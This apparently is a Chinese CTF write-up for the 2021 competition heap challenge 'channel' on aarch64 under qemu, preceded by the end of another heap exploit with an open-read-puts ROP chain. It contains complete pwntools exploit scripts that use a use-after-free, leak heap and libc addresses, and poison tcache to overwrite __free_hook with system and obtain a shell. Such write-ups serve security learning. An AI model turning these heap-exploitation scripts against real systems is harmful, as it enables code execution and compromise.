def add(ids, s,desc):
sla('cmd> ','op:2\nid:'+str(ids)+'\ns:'+str(s)+'\n')
sa('desc> ',desc)
def dele(ids):
sla('cmd> ','op:3\nid:'+str(ids)+'\n')
def show():
sla('cmd> ','op:4\n')
def down(ids):
sla('cmd> ','op:6\nid:'+str(ids)+'\n')
def right(ids):
sla('cmd> ','op:7\nid:'+str(ids)+'\n')
def left(ids):
sla('cmd> ','op:8\nid:'+str(ids)+'\n')
def get_rop(libc,flag):
prdi = libc.address + 0x00000000000215bf
prsi = libc.address + 0x0000000000023eea
prdx = libc.address + 0x0000000000001b96
prax = libc.address + 0x0000000000043ae8
rop = p64(prdi) + p64(flag)
rop += p64(prsi) + p64(0)
rop += p64(prax) + p64(2)
rop += p64(libc.symbols['syscall']+0x17) #read()
rop += p64(prdi) + p64(3)
rop += p64(prsi) + p64(flag)
rop += p64(prdx) + p64(100)
rop += p64(libc.symbols['read'])
rop += p64(prdi) + p64(flag)
rop += p64(libc.symbols['puts'])
return rop
################################### Statr ############################################
init(8,8)
#--------------------------overflow heap-----------------------------------------
add(5,0x3f0,'5') #这里malloc一个很大的chunk ,使程序默认的malloc(0x20)非物理相邻
left(5)
left(5)
down(5)
down(5) #通过移动id:5的位置造成chunk->size被覆盖成0x500
#而这里实际上chunk5距离topchunk的偏移还是0x400
add(6,0x1f0,p8(0)*0xf8 + p64(0x101)) #同样malloc一个较大的数,使它和0x500物理相邻,进一步手动修
改堆结构,同时造成堆重叠
dele(5)
#--------------------------leak libc、heap-----------------------------------------
add(7,0x300,'7') #从unsortbin 分割chunk
show() #leak libc
ru(') ')
libc.address = info(rc(6)) - (0x007ffff7dce037 - 0x7ffff79e2000)
add(8,0x10,'8') #从unsortbin 分割chunk
show() #leak heap
ru(') ')
heap = info(rc(6)) - (0x2128)
#--------------------------attack tcache、orw->flag -----------------------------------------
dele(6) #将被chunk5覆盖的chunk6放入到tcache
add(9,0x1b0,p8(0)*0xc0 + p64(libc.sym['__free_hook'])) #修改chunk6也就是tcachebin的fd为free_hook
add(10,0x1f0,'/flag\x00')
add(11,0x1f0,p64(libc.sym['setcontext'] + 0x35)) #拿到
rop = get_rop(libc,flag = heap + 0x2640)
add(12,0x300,p8(0)*0xa0 + p64(heap + 0x28e0) + rop)
dele(12)
################################### End ##############################################
p.interactive()
题目-channel
2021全国大学生信息安全竞赛-channel
保护
$ checksec channel
[*] '/home/hnhuangjingyu/channel/channel'
Arch: aarch64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ file channel_init
channel_init: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, BuildID[sha1]=0e2e437151b982bf6e2fce0ce34487a2e154f862, for GNU/Linux 3.7.0, stripped
#一道aarch64架构的题目
$ ls
channel_init ld-2.31.so libc-2.31.so qemu-aarch64-static
#附件给了ld、libc
因为题目给了qemu-aarch64-static程序,所以可以在qemu里面跑漏洞程序,程序是一个动态文件需要指定程序动态链接库才能正常运行
$ patchelf --set-interpreter ./ld-2.31.so channel
$ patchelf --replace-needed libc.so.6 ./libc-2.31.so channel
$ ./channel
====== Channel ======
1.Register
2.UnResiger
3.Read
4.Write
>
使用pwntools工具进行调试就需要添加运行参数
p = process(['qemu-aarch64-static','-g','1234',binary],env = {
"LD_PRELOAD":'./libc-2.31.so'})
这样就可以通过pwntools工具运行qemu并开启远程调试端口1234等待调试
$ ./exp.py
[+] Starting local process '/usr/bin/qemu-aarch64-static' argv=[b'qemu-aarch64-static', b'-g', b'1234', b'./channel'] env={b'LD_PRELOAD': b'/home/hnhuangjingyu/channel/libc-2.31.so'} : pid 166626
[*] '/home/hnhuangjingyu/channel/channel'
Arch: aarch64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/hnhuangjingyu/channel/libc-2.31.so'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
./exp.py:30: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
sla = lambda a,s:p.sendlineafter(a,s)
/home/hnhuangjingyu/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
熟悉内核pwn的同学应该熟悉感就来了,这里的做法和做内核题也差不多,在pwntools挂起等待调试后,后面就可以通过gdb进行附加了
gdb-multiarch ./channel 777777777777qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\
-ex "gef-remote --qemu-mode localhost:1234" \
-ex "pie breakpoint 0x12d8"
#我是用的gef插件其他的可以用"target remote localhost:1234"
找了一圈没有办法导入libc符号表到gdb里面,无法使用heap插件,方便调试关闭地址随机化(方法很多),网上最常用的就是
sudo sysctl -w kernel.randomize_va_space=0
同样gef也可以关闭地址随机化,pwntools同样也可以在process函数指定aslr(bool)指定开启
分析
main
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eGNuju6f-1654366741340)(2021-国赛.assets/image-20220604224403675.png)]](/img/50/c978876e8be3480443dc4f07eb43ae.png)
register
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W1jCVCWG-1654366741340)(2021-国赛.assets/image-20220604224431213.png)]](/img/8f/83c9ea50e033005ec888f917dec149.png)
un_register
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Up7eatxQ-1654366741341)(2021-国赛.assets/image-20220604224456337.png)]](/img/19/eec26f58741b3183c7c91f933a56d6.png)
write
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-18r5fkb2-1654366741341)(2021-国赛.assets/image-20220604224519520.png)]](/img/1b/e2252467176d31805559310e55ea59.png)
read
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YGUXdzic-1654366741342)(2021-国赛.assets/image-20220604224534817.png)]](/img/04/3ffe788b391fa5d46baab4ac718327.png)
理解图
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r7xARoAY-1654366741342)(2021-国赛.assets/image-20220604224611933.png)]](/img/49/1f4bf4f8e13da7f565d5cc59860c73.png)
思路
其实漏洞很明显,每次进行free的时候都是free ptr_qword_12018后的0x100指针,因为可以写入0x110大小的数据,那么就可以随便伪造chunk,同时利用好uaf的漏洞,通过堆块重叠进行劫持fd,但是这题没法可视化堆块,反正我做的时候就是瞎子摸象凭记忆想象堆的结构。。。。
查看堆数据我们可以端点在malloc函数执行完后面,此时的r0就是malloc出来的堆指针,做内核题的时候也是这种做法,通过malloc函数后面查看free_list链表
因为在uaf的漏洞存在那么可以泄漏堆地址
################################### Statr ############################################
for i in range(9):
register(str(i)) #扩充count_dword_12020的大小
unregister('0')
unregister('1')
#形成堆链表 此时tcache[0x120] : chunk1 -> chunk0 -> 0
write('2',0x110,'2') #uaf漏洞拿到chunk1 chunk2==chunk1
#此时tcache[0x120] : chunk0
read('2') #泄漏heap地址
heap = (info(rc(3),'heap') | 0x00004000000000) - 0x632
logs(heap)
有了堆地址后修改*(ptr_qword_12018 + 0x100)[i]处伪造chunk造成堆重叠,从而泄漏libc
#----------------------------leak libc---------------------------------------------------
write('3',0x110,p8(0)*0xf8 + p64(0x21+(0x120*4)) + p64(heap+0x7b0)) #拿到chunk0
#修改前一个chunk的size 注意修改的size要使堆结构对齐,不然会报错误,同时造成堆覆盖
#此时tcache[0x120] : null
unregister(p64(heap+0x7b0)+p64(0)*2+p64(0x121)+p64(heap+0x632)) #free 0x4a1
#此时unsortbin : 0x4a0
write('4',0x110,'4') #拿到unsortbin
#此时unsortbin : 0x4a0 - 0x120 - 0x20 = 0x360
read('4')
libc.address = info(rc(5),'libc') - (0x40019d3e34 - 0x00004001866000)
注意:这里的libc地址不是x86-64的0x7fff格式的地址,而是0x40018格式的地址,提示小技巧通过gdb中vmmap即可得到程序链接信息如下:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cuyRKYMo-1654366741343)(2021-国赛.assets/image-20220605015402661.png)]](/img/be/30bed2af7177d1b360bdeeb1fb7bcb.png)
当然这里不一定准确,在得到libc之后可以手动的看下libc.sym[‘free’]地址的代码信息是否和程序调用的相同就可以判断libc基地址是否正确了,如下:
//[email protected] = 0x40018df908
gef* x/10i 0x40018df908
0x40018df908: stp x29, x30, [sp, #-48]!
0x40018df90c: adrp x1, 0x40019d2000
0x40018df910: mov x29, sp
0x40018df914: ldr x1, [x1, #3752]
0x40018df918: ldr x2, [x1]
0x40018df91c: cbnz x2, 0x40018df9c4
0x40018df920: str x19, [sp, #16]
0x40018df924: mov x19, x0
0x40018df928: cbz x0, 0x40018df9b8
0x40018df92c: ldur x2, [x0, #-8]
有了libc和堆覆盖,就可以很方便的修改tcache里面的fd了
#----------------------------attack tcache---------------------------------------------------
unregister('4')
unregister('3')
#此时tcache[0x120] : chunk3 -> chunk4 -> 0
write('5',0x200,p8(0)*0x120 + p64(libc.sym['__free_hook'])) #修改fd
#此时tcache[0x120] : chunk3 -> _free_hook -> 0
write('6',0x110,'/bin/sh\x00')
write('7',0x110,p64(libc.sym['system'])) #拿到__free_hook
unregister(b'/bin/sh\x00' + p8(0)*0xe0 + p64(0x21) + p64(heap + 0x8f0))
################################### End ##############################################
p.interactive()
运行结果
$ ./exp.py
[+] Starting local process '/usr/bin/qemu-aarch64-static': pid 206216
[*] Switching to interactive mode
$ id
uid=1000(hnhuangjingyu) gid=1000(hnhuangjingyu) groups=1000(hnhuangjingyu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare),998(docker)
$
完整exp
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
from pwn import *
#context.log_level = 'debug'
context.arch = 'aarch64'
binary = "./channel"
one = [0x45216,0x4526a,0xf02a4,0xf1147]
global p
local = 1
if local:
#p = process(['qemu-aarch64-static','-g','1234',binary],env = {"LD_PRELOAD":'/home/hnhuangjingyu/channel/libc-2.31.so'})
p = process(['qemu-aarch64-static',binary],env = {
"LD_PRELOAD":'./libc-2.31.so'})
e = ELF(binary)
libc = ELF('/home/hnhuangjingyu/channel/libc-2.31.so')
else:
p = remote("111.200.241.244","58782")
e = ELF(binary)
libc = e.libc
################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def logs(addr,string='logs'):
if(isinstance(addr,int)):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
else:
print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))
def pa(s='1'):
log.success('pause : step---> '+str(s))
pause()
def info(data,key='info',bit=64):
if(bit == 64):
leak = u64(data.ljust(8, b'\0'))
else:
leak = u32(data.ljust(4, b'\0'))
logs(leak,key)
return leak
################################ Function ############################################
def register(content):
sla('> ','1')
sa('key> \n',content)
def unregister(content):
sla('> ','2')
sa('key> \n',content)
def read(content):
sla('> ','3')
sa('key> \n',content)
def write(key,lens,content):
sla('> ','4')
sa('key> \n',key)
sla('len> \n',str(lens))
sa('content> \n',content)
################################### Statr ############################################
#bss -> 0x4000012018:
#heap -> 0x00004000031000(0x290)
#chunk0 -> 0x000040000316b0
#chunk1 -> 0x000040000317d0
for i in range(9):
register(str(i)) #扩充count_dword_12020的大小
unregister('0')
unregister('1')
#形成堆链表 此时tcache[0x120] : chunk1 -> chunk0 -> 0
write('2',0x110,'2') #uaf漏洞拿到chunk1 chunk2==chunk1
#此时tcache[0x120] : chunk0
read('2') #泄漏heap地址
heap = (info(rc(3),'heap') | 0x00004000000000) - 0x632
#----------------------------leak libc---------------------------------------------------
write('3',0x110,p8(0)*0xf8 + p64(0x21+(0x120*4)) + p64(heap+0x7b0)) #拿到chunk0
#修改前一个chunk的size 注意修改的size要使堆结构对齐,不然会报错误,同时造成堆覆盖
#此时tcache[0x120] : null
unregister(p64(heap+0x7b0)+p64(0)*2+p64(0x121)+p64(heap+0x632)) #free 0x4a1
#此时unsortbin : 0x4a0
write('4',0x110,'4') #拿到unsortbin
#此时unsortbin : 0x4a0 - 0x120 - 0x20 = 0x360
read('4')
libc.address = info(rc(5),'libc') - (0x40019d3e34 - 0x00004001866000)
#----------------------------attack tcache---------------------------------------------------
unregister('4')
unregister('3')
#此时tcache[0x120] : chunk3 -> chunk4 -> 0
write('5',0x200,p8(0)*0x120 + p64(libc.sym['__free_hook'])) #修改fd
#此时tcache[0x120] : chunk3 -> _free_hook -> 0
write('6',0x110,'/bin/sh\x00')
write('7',0x110,p64(libc.sym['system'])) #拿到__free_hook
unregister(b'/bin/sh\x00' + p8(0)*0xe0 + p64(0x21) + p64(heap + 0x8f0))
################################### End ##############################################
p.interactive()
因为去年国赛的这个时候,在一个阳光明媚的校园里一名同学正入门Android逆向。。。。。。巴拉巴拉。。。
边栏推荐
- 工业互联网架构图
- 【图像去噪】基于matlab BdCNN图像去噪【含Matlab源码 1866期】
- Stream流概述
- 张小白教你使用OGG实现Oracle 19C到MySQL 5.7的数据同步(3)
- 2022年金属非金属矿山提升机操作考试题库及答案
- Go practice | remember the optimization of reducing CPU utilization by 30% at a time
- Qchart note 1: simple linear diagram lineseries
- The R language coin package is applied to permutation tests for independence problems, one-way ANOVA and approximate k-sample permutation tests on the same data set, and comparing whether the mean val
- 组合模式例子
- R language uses rpart package to build decision tree model, selects appropriate tree size (complexity) to check cptable contents of decision tree objects (tree size is defined by splitting times and p
猜你喜欢

力扣 1037. 有效的回旋镖

微软再曝“丑闻”:在办公室看 VR 黄片,“HoloLens 之父”即将离职!

mdb转换为db文件
![[image denoising] image denoising based on MATLAB bdcnn [including Matlab source code 1866]](/img/d0/1509fde114ad8af7a7026086a86821.jpg)
[image denoising] image denoising based on MATLAB bdcnn [including Matlab source code 1866]

Requirements and business model analysis - Requirements 16 - requirements validation

Some problems in using message queue service in thinkphp6

SAP 云平台多目标应用 Multi-Target Application 的开发技术介绍

Réflexions sur la conception de la gestion du réseau Unicom 5g

When the SQL file exported from the PowerDesigner physical data model is executed, an error occurs?

Uncaught TypeError: Cannot read properties of undefined (reading ‘colspan‘)
随机推荐
2022劳务员-岗位技能(劳务员)考试试题及答案
ADB 日志抓取
Lambda expression
How to handle art record? What materials should be prepared for handling the art record?
Notes to docker advanced (6) master-slave replication of MySQL in docker
Flutter 一行Row中显示RadioListTile
R语言coin包应用于独立性问题的置换检验(permutation tests)、在同一数据集上使用单向方差分析(one-way ANOVA)和近似的K样本置换检验、比较多个分组的均值是否相同
跟我一起来了解GaussDB(for openGauss)【这次高斯不是数学家】
What should we pay attention to when developing, designing and building the reward task source code
R语言使用rpart包构建决策树模型、选择合适的树大小(复杂度)检查决策树对象的cptable内容(树的大小由分裂次数定义、预测误差)、使用plotcp函数可视化决策树复杂度参数与交叉验证错误的关系
promote. Net technology level, how do I do it
"Nonsense" database primary key design
金融风控实战——异常检测(一)
MONGOREPLAY 的“坑”
2022年金属非金属矿山提升机操作考试题库及答案
osg基本操作
[image denoising] image denoising based on MATLAB bdcnn [including Matlab source code 1866]
Example 3 of lambda expression
Comparison between rancher and kubesphere
[Blue Bridge Cup training 100 questions] scratch apple is ripe blue bridge cup scratch competition special prediction programming question intensive training simulation exercise question 13